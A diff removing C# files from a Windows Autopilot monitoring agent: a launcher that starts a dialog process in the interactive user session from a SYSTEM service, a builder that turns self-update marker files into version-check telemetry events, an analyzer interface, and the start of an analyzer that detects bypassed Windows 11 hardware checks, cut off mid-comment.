@@ -1,370 +0,0 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Interop;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Launches a process in the logged-in user's desktop session from a SYSTEM context.
|
||||
/// Uses WTSQueryUserToken + DuplicateTokenEx + SetTokenInformation(TokenSessionId)
|
||||
/// to create a session-stamped token, then CreateProcessAsUser to launch in the
|
||||
/// correct interactive session (not Session 0).
|
||||
/// </summary>
|
||||
internal static class UserSessionProcessLauncher
|
||||
{
|
||||
/// <summary>
|
||||
/// System/service account names that should NOT be considered real users.
|
||||
/// </summary>
|
||||
private static readonly string[] ExcludedUserNames =
|
||||
{
|
||||
"SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE",
|
||||
"DefaultUser0", "DefaultUser1", "DefaultUser2",
|
||||
"defaultuser0", "defaultuser1", "defaultuser2"
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Launches the specified executable in the logged-in user's desktop session.
|
||||
/// Returns true if the process was launched successfully, false otherwise.
|
||||
/// This is fire-and-forget — the caller does not wait for the process to exit.
|
||||
/// If the process fails with 0x8007045A (DLL init failed), retries for up to maxRetrySeconds.
|
||||
/// </summary>
|
||||
public static bool LaunchInUserSession(string exePath, string arguments, AgentLogger logger, int maxRetrySeconds = 120)
|
||||
{
|
||||
IntPtr userToken = IntPtr.Zero;
|
||||
IntPtr dupToken = IntPtr.Zero;
|
||||
IntPtr environment = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
// Find explorer.exe in a non-zero session owned by a real user.
|
||||
var explorerProcess = FindExplorerProcess(logger);
|
||||
if (explorerProcess == null)
|
||||
{
|
||||
logger.Warning("UserSessionProcessLauncher: No explorer.exe found in user session — cannot launch dialog");
|
||||
return false;
|
||||
}
|
||||
|
||||
uint sessionId;
|
||||
using (explorerProcess)
|
||||
{
|
||||
sessionId = (uint)explorerProcess.SessionId;
|
||||
logger.Info($"UserSessionProcessLauncher: Found explorer.exe PID {explorerProcess.Id} in session {sessionId}");
|
||||
}
|
||||
|
||||
// Get the interactive session token via WTS.
|
||||
if (!ProcessNativeMethods.WTSQueryUserToken(sessionId, out userToken))
|
||||
{
|
||||
var error = Marshal.GetLastWin32Error();
|
||||
logger.Warning($"UserSessionProcessLauncher: WTSQueryUserToken failed for session {sessionId} (error {error})");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Duplicate token and stamp the target session ID.
|
||||
// WTSQueryUserToken gives us the user's identity, but CreateProcessAsUser
|
||||
// needs TokenSessionId explicitly set to avoid Session 0 placement
|
||||
// (the calling service runs in Session 0; without stamping, the child
|
||||
// process inherits Session 0 even though the token belongs to the user).
|
||||
if (!ProcessNativeMethods.DuplicateTokenEx(userToken, ProcessNativeMethods.MAXIMUM_ALLOWED, IntPtr.Zero,
|
||||
ProcessNativeMethods.SECURITY_IMPERSONATION, ProcessNativeMethods.TOKEN_PRIMARY, out dupToken))
|
||||
{
|
||||
logger.Warning($"UserSessionProcessLauncher: DuplicateTokenEx failed (error {Marshal.GetLastWin32Error()})");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ProcessNativeMethods.SetTokenInformation(dupToken, ProcessNativeMethods.TokenSessionId,
|
||||
ref sessionId, (uint)Marshal.SizeOf(typeof(uint))))
|
||||
{
|
||||
logger.Warning($"UserSessionProcessLauncher: SetTokenInformation(SessionId={sessionId}) failed (error {Marshal.GetLastWin32Error()})");
|
||||
return false;
|
||||
}
|
||||
|
||||
logger.Info($"UserSessionProcessLauncher: Token duplicated and stamped to session {sessionId}");
|
||||
|
||||
// Create an environment block for the user (using session-stamped token)
|
||||
if (!ProcessNativeMethods.CreateEnvironmentBlock(out environment, dupToken, false))
|
||||
{
|
||||
logger.Warning($"UserSessionProcessLauncher: CreateEnvironmentBlock failed (error {Marshal.GetLastWin32Error()})");
|
||||
environment = IntPtr.Zero;
|
||||
}
|
||||
|
||||
// Set up startup info — empty lpDesktop lets Windows select the correct
|
||||
// desktop for the session-stamped token.
|
||||
var si = new ProcessNativeMethods.STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
si.lpDesktop = "";
|
||||
si.dwFlags = ProcessNativeMethods.STARTF_USESHOWWINDOW | ProcessNativeMethods.STARTF_FORCEONFEEDBACK;
|
||||
si.wShowWindow = ProcessNativeMethods.SW_SHOW;
|
||||
|
||||
uint creationFlags = 0;
|
||||
if (environment != IntPtr.Zero)
|
||||
creationFlags |= ProcessNativeMethods.CREATE_UNICODE_ENVIRONMENT;
|
||||
|
||||
var commandLine = $"\"{exePath}\" {arguments}";
|
||||
var workingDirectory = System.IO.Path.GetDirectoryName(exePath);
|
||||
|
||||
// Retry loop with integrated CXH monitoring.
|
||||
// See WaitForCxhOrSleep for the CXH wake-up strategy.
|
||||
const int retryIntervalSeconds = 10;
|
||||
const string defaultDesktop = "";
|
||||
const string explicitDesktop = "WinSta0\\Default";
|
||||
const int defaultDesktopOnlyAttempts = 3;
|
||||
var retryStopwatch = System.Diagnostics.Stopwatch.StartNew();
|
||||
int attempt = 0;
|
||||
|
||||
// One-time CXH lookup — track for the lifetime of the retry loop
|
||||
Process cxhProcess = null;
|
||||
if (maxRetrySeconds > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
cxhProcess = FindProcessInSession("CloudExperienceHost", sessionId);
|
||||
if (cxhProcess != null)
|
||||
logger.Info($"UserSessionProcessLauncher: CloudExperienceHost PID {cxhProcess.Id} running " +
|
||||
$"in session {sessionId} — will monitor for exit during retries");
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
attempt++;
|
||||
|
||||
// First N attempts use default desktop (""), then alternate with explicit desktop.
|
||||
// Default works ~90% of the time; explicit fallback catches post-Hello desktop issues.
|
||||
bool useExplicitDesktop = (attempt > defaultDesktopOnlyAttempts) && (attempt % 2 == 0);
|
||||
si.lpDesktop = useExplicitDesktop ? explicitDesktop : defaultDesktop;
|
||||
|
||||
// CreateProcessAsUser with session-stamped token.
|
||||
// The duplicated token has TokenSessionId set to the user's session,
|
||||
// ensuring the process lands on the interactive desktop (not Session 0).
|
||||
bool created;
|
||||
ProcessNativeMethods.PROCESS_INFORMATION pi;
|
||||
|
||||
var procSa = new ProcessNativeMethods.SECURITY_ATTRIBUTES();
|
||||
procSa.nLength = Marshal.SizeOf(procSa);
|
||||
var threadSa = new ProcessNativeMethods.SECURITY_ATTRIBUTES();
|
||||
threadSa.nLength = Marshal.SizeOf(threadSa);
|
||||
|
||||
created = ProcessNativeMethods.CreateProcessAsUser(
|
||||
dupToken, null, commandLine,
|
||||
ref procSa, ref threadSa, false,
|
||||
creationFlags, environment, workingDirectory,
|
||||
ref si, out pi);
|
||||
|
||||
if (!created)
|
||||
{
|
||||
logger.Warning($"UserSessionProcessLauncher: CreateProcessAsUser failed (error {Marshal.GetLastWin32Error()})");
|
||||
return false;
|
||||
}
|
||||
|
||||
ProcessNativeMethods.CloseHandle(pi.hThread);
|
||||
logger.Info($"UserSessionProcessLauncher: Attempt {attempt} — created PID {pi.dwProcessId}" +
|
||||
$" [{(useExplicitDesktop ? "explicit" : "default")} desktop], verifying startup...");
|
||||
|
||||
// Wait 3s to verify the process survives DLL init + CLR bootstrap.
|
||||
var waitResult = ProcessNativeMethods.WaitForSingleObject(pi.hProcess, 3000);
|
||||
if (waitResult == ProcessNativeMethods.WAIT_TIMEOUT)
|
||||
{
|
||||
// Process is still running after 3s — success
|
||||
ProcessNativeMethods.CloseHandle(pi.hProcess);
|
||||
logger.Info($"UserSessionProcessLauncher: Successfully launched PID {pi.dwProcessId} in user session" +
|
||||
$" [{(useExplicitDesktop ? "explicit" : "default")} desktop]" +
|
||||
(attempt > 1 ? $" (after {attempt} attempts, {retryStopwatch.Elapsed.TotalSeconds:F0}s)" : ""));
|
||||
return true;
|
||||
}
|
||||
|
||||
// Process exited within 3s — check why
|
||||
ProcessNativeMethods.GetExitCodeProcess(pi.hProcess, out var exitCode);
|
||||
ProcessNativeMethods.CloseHandle(pi.hProcess);
|
||||
|
||||
// 0x8007045A = ERROR_DLL_INIT_FAILED — profile or desktop issue.
|
||||
// Retry until the desktop becomes accessible or we exceed the retry window.
|
||||
if (exitCode == 0x8007045A && retryStopwatch.Elapsed.TotalSeconds < maxRetrySeconds)
|
||||
{
|
||||
// If CXH is tracked and still running, wait for its exit instead of blind sleep.
|
||||
// On 24H2+/≤22H2: CXH exits → we wake up instantly.
|
||||
// On 23H2: CXH never exits → WaitForExit times out → same as regular retry interval.
|
||||
if (cxhProcess != null)
|
||||
{
|
||||
logger.Info($"UserSessionProcessLauncher: Attempt {attempt} — 0x8007045A, waiting for CXH exit (up to {retryIntervalSeconds}s)...");
|
||||
if (cxhProcess.WaitForExit(retryIntervalSeconds * 1000))
|
||||
{
|
||||
logger.Info("UserSessionProcessLauncher: CloudExperienceHost exited — desktop should be available");
|
||||
cxhProcess.Dispose();
|
||||
cxhProcess = null;
|
||||
System.Threading.Thread.Sleep(500); // brief delay for desktop init
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
logger.Info($"UserSessionProcessLauncher: Attempt {attempt} — 0x8007045A (desktop locked?) — retrying in {retryIntervalSeconds}s...");
|
||||
System.Threading.Thread.Sleep(retryIntervalSeconds * 1000);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Non-retryable error, or retry timeout exceeded
|
||||
logger.Warning($"UserSessionProcessLauncher: Process PID {pi.dwProcessId} exited within 3s — " +
|
||||
$"exit code 0x{exitCode:X8}" +
|
||||
$" [{(useExplicitDesktop ? "explicit" : "default")} desktop]" +
|
||||
(attempt > 1 ? $" (gave up after {attempt} attempts, {retryStopwatch.Elapsed.TotalSeconds:F0}s)" : ""));
|
||||
return false;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
cxhProcess?.Dispose();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
logger.Warning($"UserSessionProcessLauncher: Exception: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (environment != IntPtr.Zero)
|
||||
ProcessNativeMethods.DestroyEnvironmentBlock(environment);
|
||||
if (dupToken != IntPtr.Zero)
|
||||
ProcessNativeMethods.CloseHandle(dupToken);
|
||||
if (userToken != IntPtr.Zero)
|
||||
ProcessNativeMethods.CloseHandle(userToken);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Finds a process by name running in a specific session.
|
||||
/// Returns the first matching Process handle, or null if none found.
|
||||
/// </summary>
|
||||
private static Process FindProcessInSession(string processName, uint sessionId)
|
||||
{
|
||||
try
|
||||
{
|
||||
var processes = Process.GetProcessesByName(processName);
|
||||
foreach (var proc in processes)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ((uint)proc.SessionId == sessionId)
|
||||
{
|
||||
foreach (var other in processes)
|
||||
{
|
||||
if (other.Id != proc.Id)
|
||||
try { other.Dispose(); } catch { }
|
||||
}
|
||||
return proc;
|
||||
}
|
||||
proc.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
proc.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Finds an explorer.exe process running in a non-SYSTEM user session.
|
||||
/// Returns the Process handle, or null if none found.
|
||||
/// </summary>
|
||||
private static Process FindExplorerProcess(AgentLogger logger)
|
||||
{
|
||||
try
|
||||
{
|
||||
var explorerProcesses = Process.GetProcessesByName("explorer");
|
||||
foreach (var proc in explorerProcesses)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (proc.SessionId == 0)
|
||||
{
|
||||
proc.Dispose();
|
||||
continue;
|
||||
}
|
||||
|
||||
var owner = GetProcessOwner(proc.Id);
|
||||
if (owner == null || IsExcludedUser(owner))
|
||||
{
|
||||
proc.Dispose();
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach (var other in explorerProcesses)
|
||||
{
|
||||
if (other.Id != proc.Id)
|
||||
{
|
||||
try { other.Dispose(); } catch { }
|
||||
}
|
||||
}
|
||||
return proc;
|
||||
}
|
||||
catch
|
||||
{
|
||||
proc.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
logger.Debug($"UserSessionProcessLauncher: Error finding explorer.exe: {ex.Message}");
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private static string GetProcessOwner(int processId)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
$"SELECT * FROM Win32_Process WHERE ProcessId = {processId}"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var outParams = new object[2];
|
||||
var result = (uint)obj.InvokeMethod("GetOwner", outParams);
|
||||
if (result == 0)
|
||||
{
|
||||
var user = outParams[0]?.ToString();
|
||||
var domain = outParams[1]?.ToString();
|
||||
return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return null;
|
||||
}
|
||||
|
||||
private static bool IsExcludedUser(string fullUserName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(fullUserName))
|
||||
return true;
|
||||
|
||||
var userName = fullUserName;
|
||||
var backslashIndex = fullUserName.LastIndexOf('\\');
|
||||
if (backslashIndex >= 0 && backslashIndex < fullUserName.Length - 1)
|
||||
userName = fullUserName.Substring(backslashIndex + 1);
|
||||
|
||||
foreach (var excluded in ExcludedUserNames)
|
||||
{
|
||||
if (string.Equals(userName, excluded, StringComparison.OrdinalIgnoreCase))
|
||||
return true;
|
||||
}
|
||||
|
||||
if (userName.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase))
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,351 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Newtonsoft.Json.Linq;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Consumes the three self-update marker files written by SelfUpdater on every agent startup
|
||||
/// (updated / skipped / checked) and converts them into a single <c>agent_version_check</c>
|
||||
/// event with an <c>outcome</c> discriminator. Applies session-scoped dedup for the
|
||||
/// up_to_date outcome so repeated reboots in the same session don't spam the timeline.
|
||||
///
|
||||
/// All filesystem paths are injectable so this can be exercised in unit tests without touching
|
||||
/// %ProgramData%.
|
||||
/// </summary>
|
||||
public static class VersionCheckEventBuilder
|
||||
{
|
||||
public sealed class Paths
|
||||
{
|
||||
public string UpdatedMarker { get; set; }
|
||||
public string SkippedMarker { get; set; }
|
||||
public string CheckedMarker { get; set; }
|
||||
public string LastEmit { get; set; }
|
||||
|
||||
public static Paths Default() => new Paths
|
||||
{
|
||||
UpdatedMarker = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateMarkerFile),
|
||||
SkippedMarker = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateSkippedMarkerFile),
|
||||
CheckedMarker = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateCheckedMarkerFile),
|
||||
LastEmit = Environment.ExpandEnvironmentVariables(Constants.LastVersionCheckEmitFile)
|
||||
};
|
||||
}
|
||||
|
||||
public sealed class BuildResult
|
||||
{
|
||||
/// <summary>Event to emit; null when nothing to report (no marker) or when deduped.</summary>
|
||||
public EnrollmentEvent Event { get; set; }
|
||||
|
||||
/// <summary>True when a marker was read but the event was suppressed by dedup.</summary>
|
||||
public bool Deduped { get; set; }
|
||||
|
||||
/// <summary>Outcome that was detected (even if deduped), for logging. Null when no marker.</summary>
|
||||
public string Outcome { get; set; }
|
||||
|
||||
/// <summary>Human-readable message for warning logs when a marker file was malformed.</summary>
|
||||
public string ParseError { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reads available markers, applies dedup, updates the last-emit file and deletes consumed markers.
|
||||
/// Returns the event to emit (or null). Never throws — errors are returned via ParseError.
|
||||
///
|
||||
/// Priority: Updated > Skipped > Checked. If more than one marker exists (rare — stale files
|
||||
/// from a crashed run), the highest-priority one wins and the others are deleted defensively.
|
||||
/// </summary>
|
||||
public static BuildResult TryBuild(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
DateTime agentStartTimeUtc,
|
||||
Paths paths = null)
|
||||
{
|
||||
paths = paths ?? Paths.Default();
|
||||
var result = new BuildResult();
|
||||
|
||||
try
|
||||
{
|
||||
// Priority order — once consumed, all three are deleted.
|
||||
if (File.Exists(paths.UpdatedMarker))
|
||||
{
|
||||
result.Outcome = "updated";
|
||||
result.Event = BuildUpdatedEvent(paths.UpdatedMarker, sessionId, tenantId, agentStartTimeUtc);
|
||||
}
|
||||
else if (File.Exists(paths.SkippedMarker))
|
||||
{
|
||||
var skipEvent = BuildSkippedEvent(paths.SkippedMarker, sessionId, tenantId, out var skipOutcome);
|
||||
result.Outcome = skipOutcome;
|
||||
|
||||
// Session-scoped dedup for downgrade_blocked: the runtime hash-mismatch path
|
||||
// re-fires on every agent restart, and each restart would otherwise emit another
|
||||
// Warning event for the same current→latest pair. Suppress duplicates within the
|
||||
// same session when the same downgrade is advertised by the backend.
|
||||
if (string.Equals(skipOutcome, "downgrade_blocked", StringComparison.Ordinal))
|
||||
{
|
||||
var latestVersion = ExtractLatestVersion(skipEvent);
|
||||
var lastEmit = TryReadLastEmit(paths.LastEmit);
|
||||
if (lastEmit != null &&
|
||||
string.Equals(lastEmit.SessionId, sessionId, StringComparison.Ordinal) &&
|
||||
string.Equals(lastEmit.LatestVersion, latestVersion, StringComparison.Ordinal) &&
|
||||
string.Equals(lastEmit.Outcome, "downgrade_blocked", StringComparison.Ordinal))
|
||||
{
|
||||
result.Deduped = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
result.Event = skipEvent;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
result.Event = skipEvent;
|
||||
}
|
||||
}
|
||||
else if (File.Exists(paths.CheckedMarker))
|
||||
{
|
||||
result.Outcome = "up_to_date";
|
||||
var marker = ReadMarker(paths.CheckedMarker);
|
||||
var latestVersion = (string)marker["latestVersion"] ?? "unknown";
|
||||
|
||||
// Session-scoped dedup: suppress repeated up_to_date events for the same
|
||||
// latestVersion within the same session. Update/Skip/Failure are never deduped.
|
||||
var lastEmit = TryReadLastEmit(paths.LastEmit);
|
||||
if (lastEmit != null &&
|
||||
string.Equals(lastEmit.SessionId, sessionId, StringComparison.Ordinal) &&
|
||||
string.Equals(lastEmit.LatestVersion, latestVersion, StringComparison.Ordinal) &&
|
||||
string.Equals(lastEmit.Outcome, "up_to_date", StringComparison.Ordinal))
|
||||
{
|
||||
result.Deduped = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
result.Event = BuildUpToDateEvent(marker, sessionId, tenantId);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return result; // no marker — nothing to do
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
result.ParseError = ex.Message;
|
||||
}
|
||||
|
||||
// Persist the last-emit state before cleanup so a crash right after emit doesn't re-emit.
|
||||
if (result.Event != null)
|
||||
{
|
||||
var latestVersion = ExtractLatestVersion(result.Event);
|
||||
TryWriteLastEmit(paths.LastEmit, sessionId, latestVersion, result.Outcome);
|
||||
}
|
||||
|
||||
// Always delete markers once consumed (or attempted) — stale markers would cause loops.
|
||||
TryDelete(paths.UpdatedMarker);
|
||||
TryDelete(paths.SkippedMarker);
|
||||
TryDelete(paths.CheckedMarker);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// ── Individual builders ─────────────────────────────────────────────
|
||||
|
||||
private static EnrollmentEvent BuildUpdatedEvent(string path, string sessionId, string tenantId, DateTime agentStartTimeUtc)
|
||||
{
|
||||
var marker = ReadMarker(path);
|
||||
|
||||
var previousVersion = (string)marker["previousVersion"] ?? "unknown";
|
||||
var newVersion = (string)marker["newVersion"] ?? "unknown";
|
||||
var updatedAtUtc = (string)marker["updatedAtUtc"] ?? "unknown";
|
||||
var triggerReason = (string)marker["triggerReason"] ?? "startup";
|
||||
var exitAtUtc = (string)marker["exitAtUtc"];
|
||||
|
||||
long? downtimeMs = null;
|
||||
if (!string.IsNullOrEmpty(exitAtUtc) &&
|
||||
DateTime.TryParse(exitAtUtc, System.Globalization.CultureInfo.InvariantCulture,
|
||||
System.Globalization.DateTimeStyles.RoundtripKind, out var exitDt))
|
||||
{
|
||||
downtimeMs = (long)(agentStartTimeUtc - exitDt).TotalMilliseconds;
|
||||
}
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "outcome", "updated" },
|
||||
{ "previousVersion", previousVersion },
|
||||
{ "newVersion", newVersion },
|
||||
{ "latestVersion", newVersion },
|
||||
{ "updatedAtUtc", updatedAtUtc },
|
||||
{ "triggerReason", triggerReason }
|
||||
};
|
||||
if (exitAtUtc != null) data["exitAtUtc"] = exitAtUtc;
|
||||
CopyLong(marker, "versionCheckMs", data);
|
||||
CopyLong(marker, "downloadMs", data);
|
||||
CopyLong(marker, "zipSizeBytes", data);
|
||||
CopyLong(marker, "verifyMs", data);
|
||||
CopyLong(marker, "extractMs", data);
|
||||
CopyLong(marker, "swapMs", data);
|
||||
CopyLong(marker, "totalUpdateMs", data);
|
||||
if (downtimeMs.HasValue) data["downtimeMs"] = downtimeMs.Value;
|
||||
|
||||
var severity = string.Equals(triggerReason, "runtime_hash_mismatch", StringComparison.Ordinal)
|
||||
? EventSeverity.Warning
|
||||
: EventSeverity.Info;
|
||||
|
||||
return new EnrollmentEvent
|
||||
{
|
||||
SessionId = sessionId,
|
||||
TenantId = tenantId,
|
||||
EventType = Constants.EventTypes.AgentVersionCheck,
|
||||
Severity = severity,
|
||||
Source = "Agent",
|
||||
Message = $"Agent self-updated from {previousVersion} to {newVersion} (trigger={triggerReason})",
|
||||
Data = data,
|
||||
ImmediateUpload = true
|
||||
};
|
||||
}
|
||||
|
||||
private static EnrollmentEvent BuildSkippedEvent(string path, string sessionId, string tenantId, out string outcome)
|
||||
{
|
||||
var marker = ReadMarker(path);
|
||||
|
||||
var reason = (string)marker["reason"] ?? "unknown";
|
||||
var currentVersion = (string)marker["currentVersion"] ?? "unknown";
|
||||
var latestVersion = (string)marker["latestVersion"];
|
||||
var skippedAtUtc = (string)marker["skippedAtUtc"] ?? "unknown";
|
||||
var errorDetail = (string)marker["errorDetail"] ?? string.Empty;
|
||||
var triggerReason = (string)marker["triggerReason"];
|
||||
|
||||
// Marker may already carry outcome (new SelfUpdater). For forward-compat with old markers
|
||||
// lying around across an upgrade, derive it from the reason.
|
||||
outcome = (string)marker["outcome"]
|
||||
?? (string.Equals(reason, "version_check_failed", StringComparison.Ordinal) ? "check_failed" : "skipped");
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "outcome", outcome },
|
||||
{ "reason", reason },
|
||||
{ "currentVersion", currentVersion },
|
||||
{ "skippedAtUtc", skippedAtUtc },
|
||||
{ "errorDetail", errorDetail }
|
||||
};
|
||||
if (latestVersion != null)
|
||||
data["latestVersion"] = latestVersion;
|
||||
if (!string.IsNullOrEmpty(triggerReason))
|
||||
data["triggerReason"] = triggerReason;
|
||||
|
||||
string message;
|
||||
if (outcome == "check_failed")
|
||||
message = $"Agent version check failed (reason={reason})";
|
||||
else if (outcome == "downgrade_blocked")
|
||||
message = $"Agent self-update blocked: downgrade from {currentVersion} to {latestVersion ?? "unknown"} (trigger={triggerReason ?? "unknown"}, allowDowngrade=false)";
|
||||
else
|
||||
message = $"Agent self-update skipped (reason={reason})";
|
||||
|
||||
return new EnrollmentEvent
|
||||
{
|
||||
SessionId = sessionId,
|
||||
TenantId = tenantId,
|
||||
EventType = Constants.EventTypes.AgentVersionCheck,
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "Agent",
|
||||
Message = message,
|
||||
Data = data,
|
||||
ImmediateUpload = true
|
||||
};
|
||||
}
|
||||
|
||||
private static EnrollmentEvent BuildUpToDateEvent(JObject marker, string sessionId, string tenantId)
|
||||
{
|
||||
var currentVersion = (string)marker["currentVersion"] ?? "unknown";
|
||||
var latestVersion = (string)marker["latestVersion"] ?? "unknown";
|
||||
var checkedAtUtc = (string)marker["checkedAtUtc"] ?? "unknown";
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "outcome", "up_to_date" },
|
||||
{ "currentVersion", currentVersion },
|
||||
{ "latestVersion", latestVersion },
|
||||
{ "checkedAtUtc", checkedAtUtc }
|
||||
};
|
||||
CopyLong(marker, "versionCheckMs", data);
|
||||
|
||||
return new EnrollmentEvent
|
||||
{
|
||||
SessionId = sessionId,
|
||||
TenantId = tenantId,
|
||||
EventType = Constants.EventTypes.AgentVersionCheck,
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "Agent",
|
||||
Message = $"Agent version check: up to date ({currentVersion})",
|
||||
Data = data,
|
||||
ImmediateUpload = true
|
||||
};
|
||||
}
|
||||
|
||||
// ── Helpers ─────────────────────────────────────────────────────────
|
||||
|
||||
private sealed class LastEmit
|
||||
{
|
||||
public string SessionId { get; set; }
|
||||
public string LatestVersion { get; set; }
|
||||
public string Outcome { get; set; }
|
||||
}
|
||||
|
||||
private static JObject ReadMarker(string path) => JObject.Parse(File.ReadAllText(path));
|
||||
|
||||
private static void CopyLong(JObject marker, string key, Dictionary<string, object> target)
|
||||
{
|
||||
var token = marker[key];
|
||||
if (token == null || token.Type == JTokenType.Null) return;
|
||||
try { target[key] = token.ToObject<long>(); } catch { /* skip malformed field */ }
|
||||
}
|
||||
|
||||
private static string ExtractLatestVersion(EnrollmentEvent evt)
|
||||
{
|
||||
if (evt?.Data == null) return "unknown";
|
||||
return evt.Data.TryGetValue("latestVersion", out var v) && v != null ? v.ToString() : "unknown";
|
||||
}
|
||||
|
||||
private static LastEmit TryReadLastEmit(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!File.Exists(path)) return null;
|
||||
var obj = JObject.Parse(File.ReadAllText(path));
|
||||
return new LastEmit
|
||||
{
|
||||
SessionId = (string)obj["sessionId"],
|
||||
LatestVersion = (string)obj["latestVersion"],
|
||||
Outcome = (string)obj["outcome"]
|
||||
};
|
||||
}
|
||||
catch { return null; }
|
||||
}
|
||||
|
||||
private static void TryWriteLastEmit(string path, string sessionId, string latestVersion, string outcome)
|
||||
{
|
||||
try
|
||||
{
|
||||
var dir = Path.GetDirectoryName(path);
|
||||
if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
|
||||
Directory.CreateDirectory(dir);
|
||||
|
||||
var payload = new JObject
|
||||
{
|
||||
["sessionId"] = sessionId ?? string.Empty,
|
||||
["latestVersion"] = latestVersion ?? "unknown",
|
||||
["outcome"] = outcome ?? "unknown",
|
||||
["emittedAtUtc"] = DateTime.UtcNow.ToString("O")
|
||||
};
|
||||
File.WriteAllText(path, payload.ToString(Newtonsoft.Json.Formatting.None));
|
||||
}
|
||||
catch { /* best-effort */ }
|
||||
}
|
||||
|
||||
private static void TryDelete(string path)
|
||||
{
|
||||
try { if (File.Exists(path)) File.Delete(path); } catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
-33
@@ -1,33 +0,0 @@
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents an agent-side security or configuration analyzer.
|
||||
/// Unlike collectors which stream raw telemetry, analyzers run targeted checks,
|
||||
/// produce a confidence-scored finding, and emit a single structured event.
|
||||
///
|
||||
/// Lifecycle:
|
||||
/// AnalyzeAtStartup() — called once after agent starts, before enrollment phases begin
|
||||
/// AnalyzeAtShutdown() — called once at enrollment end / agent stop (enables delta detection)
|
||||
/// </summary>
|
||||
public interface IAgentAnalyzer
|
||||
{
|
||||
/// <summary>
|
||||
/// Human-readable name for logging (e.g., "LocalAdminAnalyzer").
|
||||
/// </summary>
|
||||
string Name { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Run analysis at agent startup.
|
||||
/// Emits a structured finding event via the callback supplied at construction.
|
||||
/// </summary>
|
||||
void AnalyzeAtStartup();
|
||||
|
||||
/// <summary>
|
||||
/// Run analysis at agent shutdown / enrollment completion (delta detection).
|
||||
/// Emits a second finding event for end-state comparison against the startup result.
|
||||
/// IMPORTANT: Emitted events MUST use Phase=Unknown. Analyzers are not phase-declaration
|
||||
/// events — see EnrollmentPhase doc for the phase strategy.
|
||||
/// </summary>
|
||||
void AnalyzeAtShutdown();
|
||||
}
|
||||
}
|
||||
-510
@@ -1,510 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers
|
||||
{
|
||||
/// <summary>
|
||||
/// Detects Windows 11 "unsupported hardware" installations where the PC Health Check /
|
||||
/// Setup-time hardware gates were bypassed via registry flags, and flags suspicious
|
||||
/// post-OOBE setup scripts. Such devices may complete enrollment successfully yet lack
|
